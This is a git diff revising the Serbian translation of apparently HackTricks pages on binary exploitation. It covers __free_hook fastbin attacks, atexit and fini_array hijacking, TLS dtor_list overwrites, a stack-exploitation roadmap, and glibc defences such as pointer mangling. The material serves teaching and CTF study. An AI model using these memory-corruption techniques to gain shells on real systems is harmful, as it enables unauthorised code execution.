diff --git a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md
index e85a5604e..cd09d7f64 100644
--- a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md
+++ b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md
@@ -19,7 +19,7 @@ Više informacija o One Gadget-u u:
## Free Hook
-Ovo je zloupotrebljeno u jednom od primera sa stranice koja zloupotrebljava napad na brzu kantu nakon što je zloupotrebljen napad na neusmerenu kantu:
+Ovo je zloupotrebljeno u jednom od primera sa stranice koja zloupotrebljava napad na brzi bin nakon što je zloupotrebljen napad na neusmereni bin:
{{#ref}}
../libc-heap/unsorted-bin-attack.md
@@ -32,35 +32,35 @@ gef➤ p &__free_hook
[U postu](https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html) možete pronaći vodič korak po korak o tome kako locirati adresu slobodnog hook-a bez simbola. Kao sažetak, u funkciji free:
-Na pomenutom break-u u prethodnom kodu u `$eax` će se nalaziti adresa slobodnog hook-a.
+Na pomenutom mestu prekida u prethodnom kodu, u `$eax` će se nalaziti adresa slobodnog hook-a.
-Sada se vrši **fast bin attack**:
+Sada se vrši **fast bin napad**:
-- Prvo je otkriveno da je moguće raditi sa brzim **chunk-ovima veličine 200** na lokaciji **`__free_hook`**:
--
gef➤ p &__free_hook
-$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
+- Prvo se otkriva da je moguće raditi sa brzim **chunk-ovima veličine 200** na lokaciji **`__free_hook`**:
+-
-- Ako uspemo da dobijemo brzi chunk veličine 0x200 na ovoj lokaciji, biće moguće prepisati pokazivač funkcije koja će biti izvršena
-- Za to, kreira se novi chunk veličine `0xfc` i spojena funkcija se poziva sa tim pokazivačem dva puta, na taj način dobijamo pokazivač na oslobođeni chunk veličine `0xfc*2 = 0x1f8` u fast bin-u.
-- Zatim se poziva funkcija za izmenu u ovom chunk-u da modifikuje adresu **`fd`** ovog fast bin-a da pokazuje na prethodnu funkciju **`__free_hook`**.
-- Zatim se kreira chunk veličine `0x1f8` da se povuče iz fast bin-a prethodni beskorisni chunk tako da se kreira još jedan chunk veličine `0x1f8` da se dobije fast bin chunk u **`__free_hook`** koji se prepisuje sa adresom funkcije **`system`**.
-- I konačno, chunk koji sadrži string `/bin/sh\x00` se oslobađa pozivom funkcije za brisanje, aktivirajući funkciju **`__free_hook`** koja pokazuje na system sa `/bin/sh\x00` kao parametrom.
+- Ako uspemo da dobijemo brzi chunk veličine 0x200 na ovoj lokaciji, biće moguće prepisati pokazivač funkcije koja će biti izvršena.
+- Za to se kreira novi chunk veličine `0xfc` i spojena funkcija se poziva sa tim pokazivačem dva puta, na ovaj način dobijamo pokazivač na oslobođeni chunk veličine `0xfc*2 = 0x1f8` u fast bin-u.
+- Zatim se poziva funkcija za uređivanje u ovom chunk-u da bi se modifikovao **`fd`** adresu ovog fast bin-a da pokazuje na prethodnu **`__free_hook`** funkciju.
+- Zatim se kreira chunk veličine `0x1f8` da bi se povukao prethodni beskorisni chunk iz fast bin-a, tako da se kreira još jedan chunk veličine `0x1f8` da bi se dobio fast bin chunk u **`__free_hook`** koji se prepisuje sa adresom funkcije **`system`**.
+- I konačno, chunk koji sadrži string `/bin/sh\x00` se oslobađa pozivom funkcije za brisanje, aktivirajući **`__free_hook`** funkciju koja pokazuje na system sa `/bin/sh\x00` kao parametrom.
## Reference
diff --git a/src/binary-exploitation/arbitrary-write-2-exec/www2exec-atexit.md b/src/binary-exploitation/arbitrary-write-2-exec/www2exec-atexit.md
index 78ad7d59a..eda8b0b85 100644
--- a/src/binary-exploitation/arbitrary-write-2-exec/www2exec-atexit.md
+++ b/src/binary-exploitation/arbitrary-write-2-exec/www2exec-atexit.md
@@ -8,9 +8,9 @@
> Danas je veoma **čudno iskoristiti ovo!**
**`atexit()`** je funkcija kojoj se **prolaze druge funkcije kao parametri.** Ove **funkcije** će biti **izvršene** prilikom izvršavanja **`exit()`** ili **povratka** iz **main**.\
-Ako možete **modifikovati** **adresu** bilo koje od ovih **funkcija** da pokazuje na shellcode na primer, dobićete **kontrolu** nad **procesom**, ali je to trenutno komplikovanije.\
-Trenutno su **adrese funkcija** koje treba izvršiti **sakrivene** iza nekoliko struktura i konačno adresa na koju pokazuje nije adresa funkcija, već je **kriptovana sa XOR** i pomeranjima sa **nasumičnim ključem**. Tako da je trenutno ovaj napadni vektor **ne baš koristan barem na x86** i **x64_86**.\
-**Funkcija kriptovanja** je **`PTR_MANGLE`**. **Druge arhitekture** kao što su m68k, mips32, mips64, aarch64, arm, hppa... **ne implementiraju funkciju kriptovanja** jer **vraća isto** što je primila kao ulaz. Tako da bi ove arhitekture bile napadljive ovim vektorom.
+Ako možete **modifikovati** **adresu** bilo koje od ovih **funkcija** da pokazuje na shellcode, na primer, dobićete **kontrolu** nad **procesom**, ali je to trenutno komplikovanije.\
+Trenutno su **adrese funkcija** koje treba izvršiti **sakrivene** iza nekoliko struktura i konačno adresa na koju pokazuje nije adresa funkcija, već je **kriptovana XOR** i pomeranjima sa **nasumičnim ključem**. Tako da je trenutno ovaj napadni vektor **ne baš koristan barem na x86** i **x64_86**.\
+**Funkcija za enkripciju** je **`PTR_MANGLE`**. **Druge arhitekture** kao što su m68k, mips32, mips64, aarch64, arm, hppa... **ne implementiraju funkciju enkripcije** jer **vraća isto** što je primila kao ulaz. Tako da bi ove arhitekture bile napadljive ovim vektorom.
Možete pronaći detaljno objašnjenje o tome kako ovo funkcioniše na [https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html](https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html)
@@ -49,9 +49,9 @@ Napomena kako `map -> l_addr + fini_array -> d_un.d_ptr` se koristi za **izraču
Postoji **nekoliko opcija**:
- Prepisati vrednost `map->l_addr` da pokazuje na **lažni `fini_array`** sa instrukcijama za izvršavanje proizvoljnog koda
-- Prepisati `l_info[DT_FINI_ARRAY]` i `l_info[DT_FINI_ARRAYSZ]` unose (koji su više-manje uzastopni u memoriji), da ih **usmerite na falsifikovanu `Elf64_Dyn`** strukturu koja će ponovo **`array` usmeriti na memorijsku** zonu koju kontroliše napadač.
-- [**Ova analiza**](https://github.com/nobodyisnobody/write-ups/tree/main/DanteCTF.2023/pwn/Sentence.To.Hell) prepisuje `l_info[DT_FINI_ARRAY]` sa adresom kontrolisane memorije u `.bss` koja sadrži lažni `fini_array`. Ovaj lažni niz sadrži **prvo** [**jednu napravu**](../rop-return-oriented-programing/ret2lib/one-gadget.md) **adresu** koja će biti izvršena, a zatim **razliku** između adrese ovog **lažnog niza** i **vrednosti `map->l_addr`** tako da `*array` pokazuje na lažni niz.
-- Prema glavnom postu ove tehnike i [**ovoj analizi**](https://activities.tjhsst.edu/csc/writeups/angstromctf-2021-wallstreet) ld.so ostavlja pokazivač na steku koji pokazuje na binarni `link_map` u ld.so. Sa proizvoljnim pisanjem moguće je prepisati ga i usmeriti na lažni `fini_array` koji kontroliše napadač sa adresom do [**jedne naprave**](../rop-return-oriented-programing/ret2lib/one-gadget.md) na primer.
+- Prepisati `l_info[DT_FINI_ARRAY]` i `l_info[DT_FINI_ARRAYSZ]` unose (koji su više-manje uzastopni u memoriji), da ih **usmere na falsifikovanu `Elf64_Dyn`** strukturu koja će ponovo **`array` usmeriti na memorijsku** zonu koju kontroliše napadač.
+- [**Ova analiza**](https://github.com/nobodyisnobody/write-ups/tree/main/DanteCTF.2023/pwn/Sentence.To.Hell) prepisuje `l_info[DT_FINI_ARRAY]` sa adresom kontrolisane memorije u `.bss` koja sadrži lažni `fini_array`. Ovaj lažni niz sadrži **prvo jedan** [**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) **adresu** koja će biti izvršena, a zatim **razliku** između adrese ovog **lažnog niza** i **vrednosti `map->l_addr`** tako da `*array` pokazuje na lažni niz.
+- Prema glavnom postu ove tehnike i [**ovoj analizi**](https://activities.tjhsst.edu/csc/writeups/angstromctf-2021-wallstreet) ld.so ostavlja pokazivač na steku koji pokazuje na binarni `link_map` u ld.so. Sa proizvoljnim pisanjem moguće je prepisati ga i usmeriti na lažni `fini_array` koji kontroliše napadač sa adresom do [**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) na primer.
Iza prethodnog koda možete pronaći još jedan zanimljiv odeljak sa kodom:
```c
@@ -65,7 +65,7 @@ U ovom slučaju bi bilo moguće prepisati vrednost `map->l_info[DT_FINI]` koja p
## TLS-Storage dtor_list prepisivanje u **`__run_exit_handlers`**
-Kao što je [**objašnjeno ovde**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite), ako program završi putem `return` ili `exit()`, izvršiće **`__run_exit_handlers()`** koja će pozvati sve funkcije destruktora koje su registrovane.
+Kao što je [**objašnjeno ovde**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite), ako program završi putem `return` ili `exit()`, izvršiće **`__run_exit_handlers()`** koji će pozvati sve funkcije destruktora koje su registrovane.
Kod iz `_run_exit_handlers()`:
```c
@@ -116,7 +116,7 @@ func (cur->obj);
Za svaku registrovanu funkciju u **`tls_dtor_list`**, demangliraće pokazivač iz **`cur->func`** i pozvati ga sa argumentom **`cur->obj`**.
Koristeći **`tls`** funkciju iz ovog [**fork-a GEF**](https://github.com/bata24/gef), moguće je videti da je zapravo **`dtor_list`** veoma **blizu** **stack canary** i **PTR_MANGLE cookie**. Dakle, sa prelivanjem na njemu bilo bi moguće **prepisati** **cookie** i **stack canary**.\
-Prepisivanjem PTR_MANGLE cookie-a, bilo bi moguće **obići `PTR_DEMANLE` funkciju** postavljanjem na 0x00, što će značiti da je **`xor`** korišćen za dobijanje pravog adresa samo adresa koja je konfigurisana. Zatim, pisanjem na **`dtor_list`** moguće je **povezati nekoliko funkcija** sa **adresom funkcije** i njenim **argumentom**.
+Prepisivanjem PTR_MANGLE cookie-a, bilo bi moguće **obići `PTR_DEMANLE` funkciju** postavljanjem na 0x00, što će značiti da je **`xor`** korišćen za dobijanje stvarne adrese samo adresa koja je konfigurisana. Zatim, pisanjem na **`dtor_list`** moguće je **povezati nekoliko funkcija** sa adresom funkcije i njenim **argumentom.**
Na kraju, primetite da se sačuvani pokazivač ne samo da će biti xored sa cookie-jem, već će biti i rotiran 17 bita:
```armasm
@@ -214,13 +214,13 @@ free (cur);
__libc_lock_unlock (__exit_funcs_lock);
```
Promenljiva `f` pokazuje na **`initial`** strukturu i u zavisnosti od vrednosti `f->flavor` biće pozvane različite funkcije.\
-U zavisnosti od vrednosti, adresa funkcije koja će biti pozvana biće na drugom mestu, ali će uvek biti **demangled**.
+U zavisnosti od vrednosti, adresa funkcije koja će biti pozvana biće na različitom mestu, ali će uvek biti **demangled**.
Pored toga, u opcijama **`ef_on`** i **`ef_cxa`** takođe je moguće kontrolisati **argument**.
-Moguće je proveriti **`initial` strukturu** u sesiji debagovanja sa GEF pokrenutim **`gef> p initial`**.
+Moguće je proveriti **`initial` strukturu** u sesiji debagovanja sa pokrenutim GEF **`gef> p initial`**.
-Da bi se ovo iskoristilo, potrebno je ili **leak** ili obrisati `PTR_MANGLE` kolačić i zatim prepisati `cxa` unos u initial sa `system('/bin/sh')`.\
+Da bi se ovo iskoristilo, potrebno je ili **leakovati ili obrisati `PTR_MANGLE`cookie** i zatim prepisati `cxa` unos u initial sa `system('/bin/sh')`.\
Možete pronaći primer ovoga u [**originalnom blog postu o tehnici**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#6---code-execution-via-other-mangled-pointers-in-initial-structure).
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md
index 632fbc47d..8a1901cfb 100644
--- a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md
+++ b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md
@@ -44,7 +44,7 @@ Nešto što treba uzeti u obzir je da obično **samo jedna eksploatacija ranjivo
- Pisanje u **ROP** lancu adrese **`main` funkcije** ili na adresu gde se **ranjivost** dešava.
- Kontrolisanjem odgovarajućeg ROP lanca možda ćete moći da izvršite sve akcije u tom lancu.
-- Pisanje u **`exit` adresu u GOT** (ili bilo koju drugu funkciju koju koristi binarni fajl pre završetka) adresu za **povratak na ranjivost**.
+- Pisanje u **`exit` adresu u GOT** (ili bilo kojoj drugoj funkciji koju koristi binarni fajl pre završetka) adrese za **povratak na ranjivost**.
- Kao što je objašnjeno u [**.fini_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md#eternal-loop)**,** ovde čuvajte 2 funkcije, jednu za ponovno pozivanje ranjivosti i drugu za pozivanje **`__libc_csu_fini`** koja će ponovo pozvati funkciju iz `.fini_array`.
## Ciljevi eksploatacije
@@ -52,7 +52,7 @@ Nešto što treba uzeti u obzir je da obično **samo jedna eksploatacija ranjivo
### Cilj: Pozvati postojeću funkciju
- [**ret2win**](#ret2win): Postoji funkcija u kodu koju treba pozvati (možda sa nekim specifičnim parametrima) kako biste dobili zastavicu.
-- U **običnom bof bez** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) **i** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/index.html) samo treba da upišete adresu u povratnu adresu smeštenu u steku.
+- U **običnom bof-u bez** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) **i** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/index.html) samo treba da upišete adresu u povratnu adresu smeštenu u steku.
- U bof-u sa [**PIE**](../common-binary-protections-and-bypasses/pie/index.html), moraćete da je zaobiđete.
- U bof-u sa [**canary**](../common-binary-protections-and-bypasses/stack-canaries/index.html), moraćete da je zaobiđete.
- Ako treba da postavite nekoliko parametara da biste ispravno pozvali **ret2win** funkciju, možete koristiti:
@@ -62,7 +62,7 @@ Nešto što treba uzeti u obzir je da obično **samo jedna eksploatacija ranjivo
- Putem [**Write What Where**](../arbitrary-write-2-exec/index.html) mogli biste zloupotrebiti druge ranjivosti (ne bof) da pozovete **`win`** funkciju.
- [**Pointers Redirecting**](../stack-overflow/pointer-redirecting.md): U slučaju da stek sadrži pokazivače na funkciju koja će biti pozvana ili na string koji će koristiti zanimljiva funkcija (system ili printf), moguće je prepisati tu adresu.
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) ili [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) mogu uticati na adrese.
-- [**Uninitialized variables**](../stack-overflow/uninitialized-variables.md): Nikad ne znate.
+- [**Neinicijalizovane promenljive**](../stack-overflow/uninitialized-variables.md): Nikada ne znate.
### Cilj: RCE
@@ -72,12 +72,12 @@ Nešto što treba uzeti u obzir je da obično **samo jedna eksploatacija ranjivo
- **U svakom slučaju, ako postoji** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/index.html)**,** u običnom bof-u moraćete da je zaobiđete (leak).
- **Bez** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **i** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md) moguće je skočiti na adresu steka jer se nikada neće promeniti.
- **Sa** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) moraćete da koristite tehnike kao što su [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md) da biste skočili na njega.
-- **Sa** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md), moraćete da koristite neki [**ROP**](../rop-return-oriented-programing/index.html) **da pozovete `memprotect`** i učinite neku stranicu `rwx`, kako biste zatim **smeštali shellcode tamo** (pozivajući read, na primer) i zatim skočili tamo.
+- **Sa** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md), moraćete da koristite neki [**ROP**](../rop-return-oriented-programing/index.html) **da pozovete `memprotect`** i učinite neku stranicu `rwx`, kako biste zatim **smeštali shellcode u nju** (pozivajući read na primer) i zatim skočili tamo.
- Ovo će mešati shellcode sa ROP lancem.
#### Putem syscalls
-- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/index.html): Korisno za pozivanje `execve` da izvrši proizvoljne komande. Morate biti u mogućnosti da pronađete **gadgete za pozivanje specifičnog syscall-a sa parametrima**.
+- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/index.html): Korisno za pozivanje `execve` da izvrši proizvoljne komande. Morate biti u mogućnosti da pronađete **gadget-e za pozivanje specifičnog syscall-a sa parametrima**.
- Ako su [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) ili [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) omogućeni, moraćete da ih savladate **da biste koristili ROP gadgete** iz binarnog fajla ili biblioteka.
- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/index.html) može biti koristan za pripremu **ret2execve**.
- Gadgeti iz [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) i [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) za kontrolu više registara.
@@ -85,27 +85,27 @@ Nešto što treba uzeti u obzir je da obično **samo jedna eksploatacija ranjivo
#### Putem libc
- [**Ret2lib**](../rop-return-oriented-programing/ret2lib/index.html): Korisno za pozivanje funkcije iz biblioteke (obično iz **`libc`**) kao što je **`system`** sa nekim pripremljenim argumentima (npr. `'/bin/sh'`). Potrebno je da binarni fajl **učita biblioteku** sa funkcijom koju želite da pozovete (libc obično).
-- Ako je **staticki kompajliran i bez** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html), **adresa** `system` i `/bin/sh` se neće menjati, tako da ih je moguće koristiti statički.
-- **Bez** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **i znajući verziju libc** koja je učitana, **adresa** `system` i `/bin/sh` se neće menjati, tako da ih je moguće koristiti statički.
-- Sa [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **ali bez** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html)**, znajući libc i sa binarnim fajlom koji koristi `system`** funkciju, moguće je **`ret` na adresu system u GOT** sa adresom `'/bin/sh'` u parametru (to ćete morati da otkrijete).
-- Sa [ASLR](../common-binary-protections-and-bypasses/aslr/index.html) ali bez [PIE](../common-binary-protections-and-bypasses/pie/index.html), znajući libc i **bez binarnog fajla koji koristi `system`**:
+- Ako je **staticki kompajliran i bez** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html), **adrese** `system` i `/bin/sh` se neće menjati, tako da ih je moguće koristiti statički.
+- **Bez** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **i poznavanja verzije libc** koja je učitana, **adrese** `system` i `/bin/sh` se neće menjati, tako da ih je moguće koristiti statički.
+- Sa [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **ali bez** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html)**, poznavanjem libc i sa binarnim fajlom koji koristi `system`** funkciju moguće je **`ret` na adresu system u GOT** sa adresom `'/bin/sh'` u parametru (to ćete morati da otkrijete).
+- Sa [ASLR](../common-binary-protections-and-bypasses/aslr/index.html) ali bez [PIE](../common-binary-protections-and-bypasses/pie/index.html), poznavanjem libc i **bez binarnog fajla koji koristi `system`**:
- Koristite [**`ret2dlresolve`**](../rop-return-oriented-programing/ret2dlresolve.md) da rešite adresu `system` i pozovete je.
- **Zaobiđite** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) i izračunajte adresu `system` i `'/bin/sh'` u memoriji.
- **Sa** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **i** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) **i ne znajući libc**: Morate:
- Zaobići [**PIE**](../common-binary-protections-and-bypasses/pie/index.html).
-- Pronaći **`libc` verziju** koja se koristi (leak nekoliko adresa funkcija).
+- Pronaći **verziju `libc`** koja se koristi (leak nekoliko adresa funkcija).
- Proveriti **prethodne scenarije sa ASLR** da nastavite.
#### Putem EBP/RBP
- [**Stack Pivoting / EBP2Ret / EBP Chaining**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md): Kontrola ESP-a da kontrolišete RET putem smeštenog EBP-a u steku.
- Korisno za **off-by-one** prelivanja steka.
-- Korisno kao alternativni način da se završi kontrola EIP-a dok zloupotrebljavate EIP za konstrukciju payload-a u memoriji i zatim skakanje na njega putem EBP-a.
+- Korisno kao alternativni način da završite kontrolu EIP-a dok zloupotrebljavate EIP za konstrukciju payload-a u memoriji i zatim skakanje na njega putem EBP-a.
#### Razno
- [**Pointers Redirecting**](../stack-overflow/pointer-redirecting.md): U slučaju da stek sadrži pokazivače na funkciju koja će biti pozvana ili na string koji će koristiti zanimljiva funkcija (system ili printf), moguće je prepisati tu adresu.
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) ili [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) mogu uticati na adrese.
-- [**Uninitialized variables**](../stack-overflow/uninitialized-variables.md): Nikad ne znate.
+- [**Neinicijalizovane promenljive**](../stack-overflow/uninitialized-variables.md): Nikada ne znate.
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/libc-protections.md b/src/binary-exploitation/common-binary-protections-and-bypasses/libc-protections.md
index dc7d72c40..e85b66e79 100644
--- a/src/binary-exploitation/common-binary-protections-and-bypasses/libc-protections.md
+++ b/src/binary-exploitation/common-binary-protections-and-bypasses/libc-protections.md
@@ -1,82 +1,82 @@
-# Libc zaštite
+# Libc Protections
{{#include ../../banners/hacktricks-training.md}}
-## Sprovođenje poravnanja delova
+## Chunk Alignment Enforcement
-**Malloc** alocira memoriju u **8-bajtnih (32-bitnih) ili 16-bajtnih (64-bitnih) grupama**. To znači da se kraj delova u 32-bitnim sistemima treba poravnati sa **0x8**, a u 64-bitnim sistemima sa **0x0**. Bezbednosna funkcija proverava da li se svaki deo **ispravno poravnava** na ovim specifičnim mestima pre nego što se koristi pokazivač iz kontejnera.
+**Malloc** alocira memoriju u **8-bajtnih (32-bitnih) ili 16-bajtnih (64-bitnih) grupama**. To znači da se kraj chunk-ova u 32-bitnim sistemima treba uskladiti sa **0x8**, a u 64-bitnim sistemima sa **0x0**. Bezbednosna funkcija proverava da li se svaki chunk **ispravno usklađuje** na ovim specifičnim mestima pre nego što koristi pokazivač iz bin-a.
-### Bezbednosne prednosti
+### Security Benefits
-Sprovođenje poravnanja delova u 64-bitnim sistemima značajno poboljšava bezbednost Malloc-a tako što **ograničava postavljanje lažnih delova na samo 1 od svake 16 adresa**. To otežava napade, posebno u scenarijima gde korisnik ima ograničenu kontrolu nad ulaznim vrednostima, čineći napade složenijim i težim za uspešnu realizaciju.
+Sprovođenje usklađivanja chunk-ova u 64-bitnim sistemima značajno poboljšava bezbednost Malloc-a tako što **ograničava postavljanje lažnih chunk-ova na samo 1 od svake 16 adresa**. To otežava napade, posebno u scenarijima gde korisnik ima ograničenu kontrolu nad ulaznim vrednostima, čineći napade složenijim i težim za uspešno izvršavanje.
-- **Fastbin napad na \_\_malloc_hook**
+- **Fastbin Attack on \_\_malloc_hook**
-Nova pravila poravnanja u Malloc-u takođe sprečavaju klasičan napad koji uključuje `__malloc_hook`. Prethodno su napadači mogli manipulisati veličinama delova da **prepišu ovu funkciju pokazivača** i dobiju **izvršenje koda**. Sada, strogi zahtevi za poravnanjem osiguravaju da takve manipulacije više nisu moguće, zatvarajući uobičajenu rutu eksploatacije i poboljšavajući ukupnu bezbednost.
+Nova pravila usklađivanja u Malloc-u takođe sprečavaju klasičan napad koji uključuje `__malloc_hook`. Prethodno su napadači mogli manipulisati veličinama chunk-ova da **prepišu ovu funkciju pokazivača** i dobiju **izvršenje koda**. Sada, strogi zahtev za usklađivanje osigurava da takve manipulacije više nisu moguće, zatvarajući uobičajenu rutu za eksploataciju i poboljšavajući ukupnu bezbednost.
-## Manipulacija pokazivačima na fastbins i tcache
+## Pointer Mangling on fastbins and tcache
-**Manipulacija pokazivačima** je bezbednosno poboljšanje koje se koristi za zaštitu **fastbin i tcache Fd pokazivača** u operacijama upravljanja memorijom. Ova tehnika pomaže u sprečavanju određenih vrsta taktika eksploatacije memorije, posebno onih koje ne zahtevaju informacije o propuštenoj memoriji ili koje direktno manipulišu memorijskim lokacijama u odnosu na poznate pozicije (relativni **prepisivanja**).
+**Pointer Mangling** je bezbednosno poboljšanje koje se koristi za zaštitu **fastbin i tcache Fd pokazivača** u operacijama upravljanja memorijom. Ova tehnika pomaže u sprečavanju određenih vrsta taktika eksploatacije memorije, posebno onih koje ne zahtevaju informacije o propuštenoj memoriji ili koje direktno manipulišu memorijskim lokacijama u odnosu na poznate pozicije (relativni **overwrites**).
-Osnova ove tehnike je formula obfuscacije:
+Osnova ove tehnike je formula za obfuscation:
**`New_Ptr = (L >> 12) XOR P`**
- **L** je **lokacija skladištenja** pokazivača.
- **P** je stvarni **fastbin/tcache Fd pokazivač**.
-Razlog za pomeranje lokacije skladištenja (L) za 12 bita udesno pre XOR operacije je ključan. Ova manipulacija se bavi ranjivošću inherentnom determinističkoj prirodi najmanje značajnih 12 bita memorijskih adresa, koje su obično predvidljive zbog ograničenja arhitekture sistema. Pomeraanjem bitova, predvidljivi deo se izbacuje iz jednačine, povećavajući nasumičnost novog, izmenjenog pokazivača i time štiteći od eksploatacija koje se oslanjaju na predvidljivost ovih bitova.
+Razlog za pomeranje lokacije skladištenja (L) za 12 bita udesno pre XOR operacije je kritičan. Ova manipulacija se bavi ranjivošću inherentnom determinističkoj prirodi najmanje značajnih 12 bita memorijskih adresa, koje su obično predvidljive zbog ograničenja arhitekture sistema. Pomeraanjem bitova, predvidljivi deo se izbacuje iz jednačine, povećavajući nasumičnost novog, izmenjenog pokazivača i time štiteći od eksploatacija koje se oslanjaju na predvidljivost ovih bitova.
Ovaj izmenjeni pokazivač koristi postojeću nasumičnost koju pruža **Randomizacija rasporeda adresnog prostora (ASLR)**, koja randomizuje adrese koje koriste programi kako bi otežala napadačima da predviđaju raspored memorije procesa.
-**Demangling** pokazivača za vraćanje originalne adrese uključuje korišćenje iste XOR operacije. Ovde se izmenjeni pokazivač tretira kao P u formuli, a kada se XOR-uje sa nepromenjenom lokacijom skladištenja (L), rezultira otkrivanjem originalnog pokazivača. Ova simetrija u manipulaciji i demanipulaciji osigurava da sistem može efikasno kodirati i dekodirati pokazivače bez značajnog preopterećenja, dok značajno povećava bezbednost protiv napada koji manipulišu pokazivačima memorije.
+**Demangling** pokazivača za vraćanje originalne adrese uključuje korišćenje iste XOR operacije. Ovde se izmenjeni pokazivač tretira kao P u formuli, a kada se XOR-uje sa nepromenjenom lokacijom skladištenja (L), rezultira otkrivanjem originalnog pokazivača. Ova simetrija u izmeni i demanipulaciji osigurava da sistem može efikasno kodirati i dekodirati pokazivače bez značajnog preopterećenja, dok značajno povećava bezbednost protiv napada koji manipulišu pokazivačima memorije.
-### Bezbednosne prednosti
+### Security Benefits
-Manipulacija pokazivačima ima za cilj da **spreči delimična i potpuna prepisivanja pokazivača u heap-u**, što je značajno poboljšanje u bezbednosti. Ova funkcija utiče na tehnike eksploatacije na nekoliko načina:
+Cilj izmenjivanja pokazivača je da **spreči delimična i potpuna prepisivanja pokazivača u heap-u**, što je značajno poboljšanje u bezbednosti. Ova funkcija utiče na tehnike eksploatacije na nekoliko načina:
-1. **Sprečavanje relativnih prepisivanja po bajtovima**: Prethodno su napadači mogli promeniti deo pokazivača da **preusmere delove heap-a na različite lokacije bez poznavanja tačnih adresa**, tehnika koja je očigledna u eksploataciji bez propuštanja **House of Roman**. Sa manipulacijom pokazivačima, takva relativna prepisivanja **bez propuštanja heap-a sada zahtevaju brute forcing**, drastično smanjujući verovatnoću uspeha.
-2. **Povećana težina napada na Tcache Bin/Fastbin**: Uobičajeni napadi koji prepisuju funkcijske pokazivače (poput `__malloc_hook`) manipulacijom fastbin ili tcache unosa su otežani. Na primer, napad može uključivati propuštanje LibC adrese, oslobađanje dela u tcache bin, a zatim prepisivanje Fd pokazivača da ga preusmeri na `__malloc_hook` za proizvoljno izvršenje koda. Sa manipulacijom pokazivačima, ovi pokazivači moraju biti ispravno izmenjeni, **što zahteva propuštanje heap-a za tačnu manipulaciju**, čime se povećava barijera za eksploataciju.
-3. **Zahtev za propuštanjem heap-a u ne-heap lokacijama**: Kreiranje lažnog dela u ne-heap oblastima (poput steka, .bss sekcije ili PLT/GOT) sada takođe **zahteva propuštanje heap-a** zbog potrebe za manipulacijom pokazivačima. Ovo povećava složenost eksploatacije ovih oblasti, slično zahtevu za manipulaciju LibC adresama.
-4. **Propuštanje adresa heap-a postaje teže**: Manipulacija pokazivačima ograničava korisnost Fd pokazivača u fastbin i tcache binovima kao izvora za propuštanje adresa heap-a. Međutim, pokazivači u nesortiranim, malim i velikim binovima ostaju neizmenjeni, pa su i dalje upotrebljivi za propuštanje adresa. Ova promena podstiče napadače da istražuju ove binove za eksploatabilne informacije, iako neke tehnike mogu i dalje omogućiti demanipulaciju pokazivača pre propuštanja, iako sa ograničenjima.
+1. **Sprečavanje Bye Byte Relativnih Overwrites**: Prethodno su napadači mogli promeniti deo pokazivača da **preusmere heap chunk-ove na različite lokacije bez poznavanja tačnih adresa**, tehnika koja je očigledna u eksploataciji bez propuštanja **House of Roman**. Sa izmenjivanjem pokazivača, takvi relativni overwrites **bez propuštanja heap-a sada zahtevaju brute forcing**, drastično smanjujući verovatnoću uspeha.
